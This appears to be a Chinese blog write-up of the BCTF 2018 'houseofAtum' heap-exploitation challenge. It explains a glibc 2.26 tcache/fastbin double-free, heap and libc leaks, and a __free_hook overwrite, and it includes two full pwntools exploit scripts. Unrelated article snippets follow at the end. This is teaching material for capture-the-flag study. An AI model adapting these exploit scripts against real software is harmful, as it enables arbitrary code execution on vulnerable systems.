<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    BCTF2018-houseofatum-Writeup題解

    VSole2021-11-05 16:46:42

    先把ld和Libc給換成題目給的:

    patchelf --set-interpreter ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/ld-2.26.so  --replace-needed ./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so houseofAtum
    

    程序分析

    這里只進行一些簡單的分析,其他的博客分析的很詳細了。

    bigeast@ubuntu:~/Desktop/ctf$ ./houseofAtum1. new2. edit3. delete4. show
    int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  int v3; // eax   initialize(argc, argv, envp);  while ( 1 )  {    while ( 1 )    {      while ( 1 )      {        v3 = menu();        if ( v3 != 2 )          break;        edit();      }      if ( v3 > 2 )        break;      if ( v3 != 1 )        goto LABEL_13;      alloc();    }    if ( v3 == 3 )    {      del();    }    else    {      if ( v3 != 4 )LABEL_13:        exit(0);      show();    }  }}
    int alloc(){  int i; // [rsp+Ch] [rbp-4h]   for ( i = 0; i <= 1 && notes[i]; ++i )    ;  if ( i == 2 )    return puts("Too many notes!");  printf("Input the content:");  notes[i] = malloc(0x48uLL);  readn(notes[i], 72LL);  return puts("Done!");}
    

    這里ull表示無符號長整形,ll表示長整型,就是8字節。

    這里72=0x48,72LL表示用8字節來存儲72。沒有在字符串末尾添加/x00,而且沒有初始化,可能存在泄漏。利用visit或者show函數打印的時候就能泄漏了。

    unsigned __int64 del(){  int v1; // [rsp+0h] [rbp-10h]  char v2[2]; // [rsp+6h] [rbp-Ah] BYREF  unsigned __int64 v3; // [rsp+8h] [rbp-8h]   v3 = __readfsqword(0x28u);  printf("Input the idx:");  v1 = getint();  if ( v1 >= 0 && v1 <= 1 && notes[v1] )  {    free((void *)notes[v1]);    printf("Clear?(y/n):");    readn(v2, 2uLL);    if ( v2[0] == 121 )      notes[v1] = 0LL;    puts("Done!");  }  else  {    puts("No such note!");  }  return __readfsqword(0x28u) ^ v3;}
    

    當clear選擇n的時候,不會清空note數組的指針,而edit和show都是通過這個來判斷一個note是否存在。

    漏洞利用的參考程序

    參考鏈接:https://changochen.github.io/2018-11-26-bctf-2018.html

    受上文的啟發,雖然他的圖畫錯了(頭節點不應該指向其fd而應該指向chunk頭)。

    實驗該參考程序過程發現了一個小現象:

    當malloc(0x20),分配的chunk的size為0x21

    當malloc(0x28),分配的chunk的size為0x21

    當malloc(0x29),分配的chunk的size為0x41

    0x20=32字節,是分配一個chunk的最小空間=presize+size+fd+bk=32字節。size后面多1表示上一個chunk的狀態。可以看到當malloc(28),顯示的size仍然為0x21,肯定是和后一個chunk的presize復用了。

    #include #include #include void main(){void *a = malloc(0x28);void *b = malloc(0x28);// fill the tcachefor(int i=0; i<7 ;i++){    free(a);}sleep(0);free(b);//fast bin //What will happen with this:free(a);// fast bin}
    

    free b后:

    pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x555555757000Size: 0x251 Free chunk (tcache) | PREV_INUSEAddr: 0x555555757250Size: 0x31fd: 0x555555757260 Free chunk (fastbins) | PREV_INUSEAddr: 0x555555757280Size: 0x31fd: 0x00 Top chunk | PREV_INUSEAddr: 0x5555557572b0Size: 0x20d51 pwndbg> binstcachebins0x30 [  7]: 0x555555757260 ?— 0x555555757260 /* '`ruUUU' */fastbins0x20: 0x00x30: 0x555555757280 ?— 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty
    

    free a之后:

    發現 a也進了fast bin里面,而且其fd指向了b的presize字段。這樣我們就可以通過malloc從tcache bin里得到a的fd,從而修改b的presize,甚至presize后面的size等內容。

    pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x555555757000Size: 0x251 Free chunk (fastbins) | PREV_INUSEAddr: 0x555555757250Size: 0x31fd: 0x555555757280 Free chunk (fastbins) | PREV_INUSEAddr: 0x555555757280Size: 0x31fd: 0x00 Top chunk | PREV_INUSEAddr: 0x5555557572b0Size: 0x20d51 pwndbg> binstcachebins0x30 [  7]: 0x555555757260 —? 0x555555757280 ?— 0x0fastbins0x20: 0x00x30: 0x555555757250 —? 0x555555757280 ?— 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty
    

    漏洞利用思路

    我們的目標是最終執行system('/bin/sh'),而且是通過堆來完成。在《HITB CTF 2018 gundam》中,我們通過動態獲得libc基地址,進而計算出_free_hook地址和system地址,想方設法在_free_hook地址處寫入system地址,再創建1個內容為'/bin/sh'的chunk,然后釋放,就可以觸發_free_hook,最終執行system('/bin/sh')。這道題同樣可以采取這種思路。

    1、要動態獲得libc基地址,就要用到unsorted bin,在tcache的count為7的情況下,將符合unsorted bin大小的chunk釋放到unsorted bin中。該chunk前向指針fd和后向指針bk的值就是要泄露的地址(詳細分析見上一篇《HITB CTF 2018 gundam分析》)。

    2、題目中創建的house of Atum chunk的大小為0x51。顯然,這樣chunk釋放后只能進入tcache bin和fast bin,要想使其進入unsorted bin,就得改變指定chunk的大小。

    3、要在_free_hook地址處寫入system地址,就得構建1個以_free_hook地址為數據區地址的chunk,即_free_hook-0x10為起始地址的chunk,以system地址作為內容參數。

    以下分析和調試過程基于以上3點考慮,通過對堆塊chunk的靈活操作,成功執行獲得shell。

    泄露Chunk的fd地址

    連續釋放同一個chunk7次后,此時通過show即可獲得chunk 0的fd的地址,書本中記為heap_addr--------tcachebin[7] -> chunk 0.fd <- chunk 0.fdfastbin[] :null--------
    

    偽造chunk

    動態獲得了heap_addr,即chunk0的next指針,后面該如何利用?

    根據前面分析,要獲得libc的基地址,就要改變chunk0的大小為0x91。

    chunk0的size域位于chunk0頭部16個字節的后半部分中,可以考慮創建1個以chunk0-0x10為起始地址的chunk1,將chunk0的新的size值(0x91)作為chunk1的內容。要從tcachebin中分配chunk1時,前提是chunk1在tcachebin中,有兩種方式可以使chunk1(chunk0-0x10為起始地址)進入tcachebin:

    一種是構造tcache bin的double free 然后構造chunk0-0x10為起始地址的fake chunk,另一種是將chunk1鏈接到fastbin中某個chunk后面,這樣當chunk被從fastbin中分配時,其后面的chunk1就會被移到tcache中。

    我們首先分析第一種方法:

    因為題目限制只能創建2個chunk,所以構造了faka chunk后,已經創建了2個chunK了,此時這兩個chunk都是指向chunk 0的,無論釋放哪一個,都會導致faka chunk丟失。

    如下,兩個已經創建的chunk都是指向0x5616cec43260的,無論釋放哪一個都會導致fake chunk 0x5616cec43250的丟失。

    所以本題用了兩次把fastbin中的fake chunk轉移到tcache bin。

    泄露libc地址

    連續釋放chunk0 7次,將會使chunk0進入0x90大小的tcachebin中,再釋放1次,chunk0將會進入unsortedbin。就可以按像gundam那樣泄漏glibc地址,就是先分析tcache的結構體是位于堆的低地址的最開頭,也是一個chunk。

    為什么創建的是0x50大小的Chunk,而不是0x48?

    我們看到代碼中是malloc(0x48),0x48是userdata的大小,還需要加上presize和size的大小,也就是0x48+0x10=0x58,然后由于該chunk被使用,所以會占用下一個chunk的presize字段,所以0x58-0x8=0x50。所以每次只用分配0x50大小的chunk.

    帶詳細注釋的代碼:

    from pwn import * io = process('./houseofAtum')libc = ELF('././glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')context.log_level='debug'def new(cont):    io.sendlineafter('choice:','1')    io.sendafter("content:",cont) def edit(idx,cont):    io.sendlineafter('choice:','2')    io.sendlineafter('idx:',str(idx))    io.sendafter("content:",cont) def delete(idx,x):    io.sendlineafter('choice:','3')    io.sendlineafter('idx:',str(idx))    io.sendlineafter('(y/n):',x) def show(idx):    io.sendlineafter('choice:','4')    io.sendlineafter('idx:',str(idx)) def leak_heap():    global heap_addr    new('A') 初始chunk 0,記住這是初始的chunk0空間,后面會反復用到這個空間。     new(p64(0)*7 + p64(0x11))     # 為什么分配兩個0x50的chunk? 因為tcache bin和fast    # bin都不會清除preuse,所以在后面將0x90大小的fake chunk放入unsorted    # bin時會檢查下一個chunk的preuse位置,若為0則會報錯,所以這里一定要在56個字節之后構造一個0x11。     delete(1,'y') #構造完就沒用了,可以刪掉了     for i in range(6): #構造double free填滿tcache bin        delete(0,'n')     show(0)    io.recvuntil("Content:")    heap_addr = u64(io.recv(6).ljust(8,'\x00'))    #輸出自己的user data的地址    log.info("heap_addr: 0x%x" % heap_addr) def leak_libc():    global libc_base    delete(0,'y') #指向初始chunk0的空間,    # 輸出完heap_addr也沒用了,所以要刪掉,會被放進fastbin。    # 此時由于最后一個進入fastbin的chunk的fd會被清0,    # 所以tcachebin的next指針會被清0。    # 此時,    # tcache bin[7]:chunk 0.fd -> 0    # fasbin:chunk 0.presize -> 0     # 為什么在這之后不再直接free一個chunk 0直接修改chunk 0的size呢,    # 再free一個chunk 0它會進入fastbin,    # 會被fastbin檢測出double free,    # 上面的參考程序要修改的chunk是另外的chunk,不能是double free的chunk。    # 所以行不通。    # 所以要間接的修改size。     new(p64(heap_addr-0x20))    # 此時得到chunk0指向 初始的chunk0,并且改變了chunk 0的fd ,    # 此時,    # tcache bin[6]:0    # fasbin:chunk 0.presize -> chunk0.presize-0x10 -> 0 ,    # 這里修改后    # 在分配內存的時候不會有任何檢查其頭部?    # 分配的時候fastbin會檢查頭部是否符合當前fastbin的大小,    # 但是我們這個chunk我們不會當它在fastBin的時候就分配它。    # 后面我們會先把它轉移到tcachebin,而轉移到tcache bin的過程貌似不會檢查其Size,    # 而在tcache bin的時候再分配它出去,tcache bin不會檢查其頭部大小    # 同時,還發現entries指針被清空居然不和counts做檢查!!!      new('A') #此時得到chunk1指向 初始的chunk 0,    # 由于tcache的entries指針已經被清空,堆塊會從fastbin取出。    # 剩下的堆塊會被整理到tcache,    # 于是fd指針的地址(chunk0.presize-0x10)會被寫入tcache entries,同時counts加1等于7    # 此時,    # tcache bin[7]:chunk0.presize-0x10 -> 0    # fasbin:0,    # 這一步就是為了把fastbin里面的指向chunk0的presize-0x10的chunk放入tcache bin    # 小發現:把fastbin剩余的chunk放入tcache bin會導致tcache bin的count數量改變。     delete(1,'y') # 上面的工作完成后這個Chunk就沒用了,釋放掉,進入fastbin。    #此時    # tcache bin[7]:chunk0.presize-0x10 -> 0    # fasbin: chunk0.presize     new(p64(0)+p64(0x91)) ##指向初始的chunk.presize-0x10的空間,    # 此時拿到了fake chunk,fake chunk的user data指向初始chunk 0 的presize    # 此時,    # tcache bin 0x50 [6]: 0    # fasbin 0x50 : chunk0.presize    # 此時初始的chunk 0的size已經被修改了。變成了0x91,即大小為0x90。     for i in range(7):        delete(0,'n') #指向初始的chunk0的空間    # 此時會填滿tcache 為0x90的bin,并且會改寫0x50的fast bin。    # 即此時    # tcache 0x50 bin[6]: 0    # tcache 0x90 #bin[7]:chunk0.fd->chunk0.fd    # fasbin 0x50: chunk0.presize->chunk0.fd ,     delete(0,'y') #指向初始的chunk0的空間    # 此時進入Unsorte bin.    # 此時 ,    # tcache 0x50 bin[6]: 0 ,    # tcache 0x90 bin[7]:chunk0.fd-> main_arena+88    # fasbin 0x50 : chunk0.presize -> main_arena+88    # unsorte bin:chunk0.presize -> main_arena+88     edit(1,'A'*0x10)    # 此時會修改初始chunk0.presize-0x10的usedata,即會修改chunk0的presize和size字段    # 這樣后面打印的話方便找到打印的地址在哪。    # 因為chunk0 已經被完全刪掉了,    # 或者之前不完成刪掉打印完再刪掉也行,反正現在只剩chunk1了     show(1)    io.recvuntil('A'*0x10)    libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3abc78    log.info("libc base:0x%x" % libc_base)    debug(1) def pwn():    one_gadget = libc_base + 0xdd752    free_hook = libc_base + libc.symbols['__free_hook']    edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))    # 修改了初始的Chunk0大小為0x50,為什么要改回來?    # 因為后面要從fastbin中new一個chunk0了,    # fastbin會檢查size釋放應該在此fastbin中。    # 修改了初始的chunk0的fd為free_hook-0x10    # 此時 ,    # tcache 0x50 bin[6]: 0 ,    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10    # fasbin 0x50 : chunk0.presize -> free_hook-0x10    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88      new('A') chunk0 ,因為這里要new 所以前面必須把chunk0 改回0x50大小    # 指向初始chun0空間    # 這里的作用是把free hook放進tcache bin 0x50    # 此時 ,    # tcache 0x50 bin[7]: free_hook    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10    # fasbin 0x50 :    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88     delete(0,'y')    # 回收chunk0,沒用了。回收進fast bin 0x50    # 此時 ,    # tcache 0x50 bin[7]: free_hook    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10    # fasbin 0x50 : chunk0.presize    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88     new(p64(one_gadget)) #chunk0    # 取出free hook的空間,然后修改    # 此時 ,    # tcache 0x50 bin[7]: 0    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10    # fasbin 0x50 : chunk0.presize    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88     io.sendlineafter("choice:",'3')    io.sendlineafter(":",'0')    io.interactive()def debug(id):    log.info('check point %d' % id)    gdb.attach(io)    pause()if __name__=='__main__':    leak_heap()    leak_libc()
    

    可直接運行的代碼:

    from pwn import * io = process('./houseofAtum')libc = ELF('./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')context.log_level='debug'def new(cont):    io.sendlineafter('choice:','1')    io.sendafter("content:",cont) def edit(idx,cont):    io.sendlineafter('choice:','2')    io.sendlineafter('idx:',str(idx))    io.sendafter("content:",cont) def delete(idx,x):    io.sendlineafter('choice:','3')    io.sendlineafter('idx:',str(idx))    io.sendlineafter('(y/n):',x) def show(idx):    io.sendlineafter('choice:','4')    io.sendlineafter('idx:',str(idx)) def leak_heap():    global heap_addr    new('A')# chunk 0    #debug(1)    new(p64(0)*7 + p64(0x11)) #chunk 1    #debug(2)    delete(1,'y') #delete chunk 1    #debug(3)    for i in range(6):        delete(0,'n')    #debug(4)    show(0)    io.recvuntil("Content:")    heap_addr = u64(io.recv(6).ljust(8,'\x00'))    log.info("heap_addr: 0x%x" % heap_addr)    #new(p64(heap_addr-0x10)) #chunk 1 fake chunk    #debug(1)    #delete(1,'y') # delete chunk 1    #debug(2) def leak_libc():    global libc_base    delete(0,'y') #fastbin    #debug(0)    new(p64(heap_addr-0x20)) #tcache bin get and fast bin add fake chunk    #debug(1)    new('A') # fastbin get and fastbin fake chunk put to tcache bin    #debug(2)    delete(1,'y') # put to fastbin    new(p64(0)+p64(0x91)) #fake size     for i in range(7):        delete(0,'n')     #debug(1)    delete(0,'y')    #debug(2)    edit(1,'A'*0x10)    #debug(2)    show(1)    io.recvuntil('A'*0x10)    libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3dac78    log.info("libc base:0x%x" % libc_base)    #debug(1)def pwn():    one_gadget = libc_base +  0xfcc6e    free_hook = libc_base + libc.symbols['__free_hook']    edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))    #debug(1)    new('A')    #debug(1)    delete(0,'y')    #debug(2)    new(p64(one_gadget))    #debug(3)    io.sendlineafter("choice:",'3')    io.sendlineafter(":",'0')    io.interactive()def debug(id):    log.info('check point %d' % id)    gdb.attach(io)    pause()if __name__=='__main__':    leak_heap()    leak_libc()    pwn()
    

    新發現:不同Libc的unsorte bin在main_arena的偏移不同,Libc2.26是88,Libc2.27是96。

    總結

    gundam和houseofAtum這兩道題都是利用了LIBC2.26中tcache bin可以double free的特點。

    gundam:

    由于每次build的chunk大于0x90,所以可以重復釋放8次同一個chunk,然后在unsortebin中泄漏libc地址。然后,直接在tcache中構造double free然后把free_hook作為fake chunk鏈接到tcache bin中,然后修改free hook。

    houseofAtum:

    由于每次build的chunk只有0x50大小,不能被放入unsorted bin,導致無法泄漏Libc地址。所以首先要考慮修改chunk的大小,要修改chunk的大小,只能通過構造fake chunk來修改。而由于限制只能new 2個chunk,所以不能直接在tcache bin中構造double free來鏈接fake chunk(這點已經在上面分析過了),所以只能通過把fastbin中的fake chunk移入tcache bin中來構造fake chunk。

    構造完fake chunk后就能修改chunk的大小,從而放入Unsorted bin中泄漏libc地址。泄漏完Libc地址后,又要構造fake chunk來修改free_hook,構造方法同上,也是要在fast bin中構建完后移入tcache bin。

    fd
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    美國衛生與公眾服務部 (HHS) 食品藥品監督管理局 (FDA) 于2022年4月8日發布了其醫療設備網絡安全指南草案,提供了有關網絡安全設備設計、標簽以及該機構建議在上市前提交中包含的文件對于具有網絡安全風險的設備的建議。
    自2018年10日起,外部實體與FDA進行CBER監管通信必須經過郵件安全加密處理。通過S/MIME證書可以確保郵件在整個傳輸過程中不會被偷窺和篡改,滿足FDA郵件安全加密的合規要求。此方案需要與FDA完成必要的測試。此外,終端用戶可照常發送郵件,勿需其他操作,企業郵件基礎設施與FDA之間傳輸的數據將會自動加密處理。
    思科解決了 Firepower 設備管理器 (FDM) On-Box 軟件中的漏洞,跟蹤為 CVE-2021-1518,攻擊者可以利用該漏洞在易受攻擊的設備上執行任意代碼。
    記兩起挖礦木馬排查
    2023-05-04 10:01:27
    溯源 fdl 的機器5月17日下午,發現有人爆破我服務器的口令。查了下是 fdl 的,聯系他詢問情況。127.0.0.1登錄的,一看就知道是映射到公網被人登錄了確認該賬號無人使用修改密碼然后踢出用戶CPU挖礦killall xmrig一鍵停止挖礦程序找到挖礦程序本體/var/tmp/路徑下有疑似掃描的程序查看?lpz用戶啟動的程序lpz 9845 1 0 5月16 ?沒有直接關系,線索暫時中斷。systemd重啟惡意程序。
    溯源 fdl 的機器2021年5月17日下午,發現有人爆破我服務器的口令。查了下是 fdl 的,聯系他詢問情況。127.0.0.1登錄的,一看就知道是映射到公網被人登錄了確認該賬號無人使用修改密碼然后踢出用戶CPU挖礦killall xmrig一鍵停止挖礦程序找到挖礦程序本體/var/tmp/路徑下有疑似掃描的程序查看?lpz用戶啟動的程序lpz 9845 1 0 5月16 ?沒有直接關系,線索暫時中斷。systemd重啟惡意程序。
    希望能通過這篇文章讓大家對最近qemu逃逸題目學習有一點幫助。
    華盛頓智庫保衛民主基金會(FDD)周四(7月27日)發布研究報告,為拜登政府提供八項建議,以確保網絡能力建設成為其即將推出的國際網絡安全戰略的關鍵部分。
    美國衛生與公眾服務部下轄食品藥品監督管理局日前發布最終指導文件,為網絡設備制定了新的網絡安全要求,其中包括網絡設備在上市前的申報材料中必須提交的信息。文件還要求醫療保健相關方應將軟件物料清單和漏洞披露報告納入基礎設施網絡安全規定。
    近日,美國小核酸龍頭企業Sarepta Therapeutics(SRPT.US)公布2023年第四季度和全年凈產品收入初步報告:預計2023年產品凈收入為11.45億美元,其中杜氏肌營養不良癥(DMD)基因療法Elevidys(SRP-9001) 2023年全年銷售額達2.004 億美元(約 14.37億元人民幣),它在2023年第四季度的銷售額約為1.313億美元,遠超預期。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类